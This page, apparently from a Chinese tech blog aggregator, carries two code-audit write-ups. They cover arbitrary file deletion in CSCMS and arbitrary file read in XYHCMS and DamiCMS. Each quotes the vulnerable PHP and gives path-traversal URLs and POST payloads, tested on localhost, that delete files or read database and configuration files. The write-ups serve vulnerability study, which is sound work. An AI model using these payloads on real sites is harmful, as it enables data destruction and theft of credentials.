首页 文章 精选 留言 我的

精选列表

搜索[日志审计],共10013篇文章
优秀的个人博客,低调大师

【代码审计】任意文件删除漏洞实例

任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。 环境搭建: CSCMS:http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.com/chshcms/cscms 漏洞实例一: 漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行: public function del(){ $dir = $this->input->get_post('id',true); if(empty($dir)){ getjson(L('plub_11')); } $dirs = array(); if(!is_array($dir)){ $dirs[] = $dir; }else{ $dirs = $dir; } foreach($dirs as $dir) { deldir(FCPATH.'attachment/backup/'.$dir); } $info['msg'] = L('plub_12'); $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999); getjson($info,0); } 漏洞利用: 1、 根目录下新建test目录作为测试: 2、 构造参数成功删除test目录 http://127.0.0.1/admin.php/basedb/del POST:id=..\\..\\test 漏洞实例二: 漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行: public function del(){ $ac = $this->input->get('ac',true); $op = $this->input->get('op',true); $dir = $this->input->get('dirs',true); $file = $this->input->get('file'); if($ac!='mobile') $ac='pc'; if($op!='home' && $op!='user') $op='skins'; if(empty($dir)) getjson(L('plub_27')); $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file; if (!is_dir($skin_dir)) { //文件 $res=unlink($skin_dir); }else{ //目录 $res=deldir($skin_dir); } if($res){ $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999); $info['msg'] = L('plub_46'); $info['turn'] = 1; getjson($info,0); }else{ getjson(L('plub_28')); } 漏洞利用: 网站根目录下新建1.txt文件作为测试,构造URL成功删除文件 Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt 漏洞实例三: 漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行: public function del(){ $dir = $this->input->get_post('dir',true); if($dir==''){ getjson(L('plub_del_0'),1); } deldir(FCPATH.'plugins'.FGF.$dir.FGF); //删除配置目录 deldir(CSCMS.$dir.FGF); //删除模板目录 deldir(FCPATH.'tpl/admin/'.$dir.FGF); $info['func'] = __FUNCTION__; $info['msg'] = L('plub_del_1'); getjson($info,0); } 漏洞利用:

优秀的个人博客,低调大师

【代码审计】任意文件读取漏洞实例

0x00 前言 大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。 这里,通过两个任意文件读取漏洞实例去展示漏洞原理、漏洞危害。 0x01 漏洞实例一 环境搭建: XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw 代码分析: 1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行: public function edit() { $ftype = I('ftype', 0, 'intval'); $fname = I('fname', '', 'trim,htmlspecialchars'); $file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/'; if (IS_POST) { if (empty($fname)) { $this->error('未指定文件名'); } $_ext = '.' . pathinfo($fname, PATHINFO_EXTENSION); $_cfg_ext = C('TMPL_TEMPLATE_SUFFIX'); if ($_ext != $_cfg_ext) { $this->error('文件后缀必须为"' . $_cfg_ext . '"'); } $content = I('content', '', ''); $fname = ltrim($fname, './'); $truefile = $file_path . $fname; if (false !== file_put_contents($truefile, $content)) { $this->success('保存成功', U('index', array('ftype' => $ftype))); } else { $this->error('保存文件失败,请重试'); } exit(); } $fname = base64_decode($fname); if (empty($fname)) { $this->error('未指定要编辑的文件'); } $truefile = $file_path . $fname; if (!file_exists($truefile)) { $this->error('文件不存在'); } $content = file_get_contents($truefile); if ($content === false) { $this->error('读取文件失败'); } $content = htmlspecialchars($content); $this->assign('ftype', $ftype); $this->assign('fname', $fname); $this->assign('content', $content); $this->assign('type', '修改模板'); $this->display(); } 这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。 我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。 对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。 对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞。 漏洞利用: 登录网站后台,数据库配置文件路径:\App\Common\Conf\db.php我们将这段组成相对路径,..\\..\\..\\App\\Common\\Conf\\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==最后构造的链接形式如下:http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==通过url访问,成功获取到数据库敏感信息: 0x02 漏洞实例二 环境搭建: 大米CMS官网:http://www.damicms.com网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)程序源码下载:链接: https://pan.baidu.com/s/1QedJ1EelWHrIC4cX0kmWuA 密码: h4kj 代码分析: 漏洞文件位置:/Admin/Lib/Action/TplAction.class.php 第76-87行中: public function add() { $filename = dami_url_repalce(str_replace('*','.',trim($_GET['id']))); if (empty($filename)) { $this->error('模板名称不能为空!'); } $content = read_file($filename); $this->assign('filename',$filename); $this->assign('content',htmlspecialchars($content)); $this->display('add'); } 这段编辑模板的函数中,首先对获取的参数进行替换,然后判断文件是否为空,接着带入read_file函数中执行,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞。 漏洞利用: 登录后台, 全局配置路径在\Public\Config\config.ini.php,通过构造URL读取全局配置文件内容。http://127.0.0.1/admin.php?s=Tpl/Add/id/.\Public\Config\config.ini.php 0x03 END 这两个漏洞实例都是在编辑状态下的任意文件读取,感觉还挺蛮有趣的,在黑盒渗透中,要想触及这个点还是挺有难度的。 更多的时候,黑盒结合白盒的进行漏洞挖掘,可发现更多的安全漏洞。

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册